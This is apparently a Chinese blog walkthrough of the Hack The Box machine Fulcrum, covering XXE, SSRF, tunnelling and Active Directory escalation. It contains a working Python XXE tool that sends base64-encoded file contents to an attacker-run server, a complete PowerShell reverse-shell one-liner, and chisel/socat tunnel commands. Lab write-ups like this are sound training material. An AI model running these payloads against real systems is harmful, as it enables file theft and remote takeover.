域渗透实战之fulcrum

本文描述了黑客通过端口扫描、Fuzz接口测试、目录遍历和暴力破解等手段,逐步发现并利用XXE漏洞、权限提升、SSRF漏洞,最终获取Webshell并进行网络操作的过程,包括域渗透、配置文件访问和密码解密等技巧。

目录

信息收集

端口扫描

Fuzz接口

目录遍历

目录暴力破解

88端口

56423端口

漏洞利用

xxe漏洞

文件泄露

xxe文件读取

权限提升

SSRF漏洞

编写脚本

反弹shell

获取shell

查看网络进程

域渗透

网络枚举

翻配置文件

解密密码

隧道搭建

Winrm获取shell

LDAP查询

搜索用户

使用原始 PowerShell 进行枚举

上传PowerView工具

发现域管密码

反弹shell


信息收集

端口扫描

使用nmap进行端口扫描,发现存在大量端口开放。

接着去查看其版本和对应的服务。

Fuzz接口

使用wfuzz对其url路径后的参数进行枚举。

目录遍历

使用工具进行目录枚举,未发现有用的目录。

接着去看服务,访问端口为4的页面。

目录暴力破解

然后继续对其进行爆破,发现存在home.php.

然后尝试进行上传,发现没法上传成功。

88端口

访问88端口,发现存在phpadmin登录界面。

尝试弱口令登录,没有成功。

56423端口

使用curl进行测试,发现有回显。

漏洞利用

xxe漏洞

接着使用burp,然后抓包。

发现其存在xxe漏洞

文件泄露

然后使用xxe进行加载.dtd文件来读取文件。

xxe文件读取

开启http服务。

然后将读取到的内容进行解码,成功获取到读取的内容

权限提升

SSRF漏洞

编写脚本

#!/usr/bin/python3

import base64
import logging
import readline
import requests
import threading
import time
from flask import Flask, request

log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)

app = Flask(__name__)
prev_data = ""

xml_template = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://10.10.14.6/dtd?fn={}">
<data>&send;</data>"""

@app.route("/dtd")
def dtd():
    fn = request.args['fn']
    return f"""<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource={fn}">
    <!ENTITY % all "<!ENTITY send SYSTEM 'http://10.10.14.6/exfil?data=%file;'>">
    %all;"""


@app.route("/exfil")
def data():
    global prev_data
    b64data = request.args['data'].replace(' ', '+') # Flask tries to URL decode it
    print(b64data)
    print(len(b64data))
    data = base64.b64decode(b64data).decode().strip()
    if data != prev_data:
        print(data)
        prev_data = data
    return ""


def web():
    app.run(host="0.0.0.0", port=80)


if __name__ == "__main__":
    threading.Thread(target=web, daemon=True).start()
    time.sleep(1)
    #app.run(debug=True, use_reloader=False, host="0.0.0.0", port=80)
    while True:
        try:
            fn = input("file> ")
            xml = xml_template.format(fn)
            requests.post('http://10.10.10.62:56423', data=xml)
        except KeyboardInterrupt:
            print()

反弹shell

执行脚本来反弹shell

开启http服务。

发现该脚本可以成功执行命令。

解码进行查看执行ping之后的内容。
使用nc进行反弹。

获取shell

成功获取webshell

查看网络进程。

查看端口。

域渗透

网络枚举

上传nmap,然后进行端口扫描,发现其存在5985端口。

翻配置文件

发现存在config.inc.php,并发现了用户名和密码。

解密密码

隧道搭建

上传Chisel,然后搭建隧道。

./socat tcp-listen:60218,reuseaddr,fork tcp:192.168.122.228:5985 &
./chisel_1.9.1_linux_amd64 server -p 8000 --reverse
./chisel_1.9.1_linux_amd64 client 10.10.14.39:8001 R:socks
./socat tcp-listen:55555,reuseaddr,fork tcp:192.168.122.228:5985
socat tcp-listen:5985,reuseaddr,fork tcp:10.10.16.5:55555

然后在kali里面配置prtoychains,然后进行连接测试。

Winrm获取shell

发现存在dc和laap的连接记录。

LDAP查询

鉴于帐户名称和上面的注释,查询活动目录域似乎是个好主意。要从 PowerShell 查询 LDAP,我需要一个DirectoryEntry对象。这些对象被引用为System.DirectoryServices.DirectoryEntry, 或ADSI。有多种构造函数(创建对象的方法),但我将使用这个,因为它允许我传递用户名和密码。

搜索用户

使用原始 PowerShell 进行枚举

发现有8个用户,它们全部转储并滚动浏览

查询域管理员

上传PowerView工具

上传脚本,然后执行。

执行命令
获取user.txt

.\c.execlient10.10.14.39:8000R:5985:192.168.122.132:5985

隧道

枚举

查看共享。

发现域管密码

获取root.txt
读取到root.txt

反弹shell

执行命令,然后使用nc来反弹shell。

Invoke-Command -Computer dc.fulcrum.local -Credential $cred -scriptblock { $client = New-Object System.Net.Sockets.TCPClient('10.10.14.6',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()  }

REF:
https://www.cnblogs.com/autopwn/p/14049762.html
Hack the Box: Fulcrum Walkthrough - Hacking Articles

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值